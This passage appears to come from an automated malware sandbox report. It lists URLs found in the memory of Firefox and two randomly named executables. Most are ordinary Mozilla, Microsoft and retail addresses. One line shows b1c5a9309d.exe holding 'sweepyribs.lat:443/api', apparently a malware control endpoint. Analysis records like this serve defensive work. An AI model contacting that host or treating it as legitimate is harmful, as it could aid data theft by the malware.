Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.3358356541.000001C137C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C1387A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000003.2893092457.000001C13B1EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3378808073.000001C138F53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001C.00000002.3350930206.000001C13777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2888705098.000001C13FC90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3378808073.000001C138F53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134641000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C13467D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3211469866.000001C1339DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3364852860.000001C1382D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: b1c5a9309d.exe, 0000000C.00000003.2727724906.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2823709679.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001C.00000002.3322743316.000001C135936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpUpdateService:_postU
Source: firefox.exe, 0000001C.00000003.2958403089.000001C13AAAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschrome://browser/content/mi
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesError
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/ContentPrefServiceChild.sys
Source: b1c5a9309d.exe, 00000010.00000003.2902678725.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 140460b5fe.exe, 0000000B.00000003.2863884363.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, b1c5a9309d.exe, 0000000C.00000003.2750657180.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2727724906.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2728185530.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2860100486.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2825447435.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2856564532.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2823709679.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: b1c5a9309d.exe, 0000000C.00000003.2728185530.0000000005D82000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2825447435.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 140460b5fe.exe, 0000000B.00000003.2863884363.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, b1c5a9309d.exe, 0000000C.00000003.2750657180.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2727724906.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2728185530.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2860100486.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2825447435.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2856564532.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2823709679.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: b1c5a9309d.exe, 0000000C.00000003.2728185530.0000000005D82000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2825447435.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/api
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.3322743316.000001C135936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.3339647822.000001C137213000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2893092457.000001C13B1F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2926081660.000001C138766000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001C.00000003.2926081660.000001C138766000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001C.00000002.3339647822.000001C137213000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2893092457.000001C13B1F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3372926017.000001C138B8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://e2beb7c2-ef50-4ddd-9210-92a40514d
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001C.00000002.3339647822.000001C137213000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001C.00000002.3339647822.000001C137213000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2893092457.000001C13B1F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001C.00000003.2893092457.000001C13B1F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000003.2881714201.000001C13F863000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001C.00000003.2876856188.000001C13F6EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2878443885.000001C13F960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
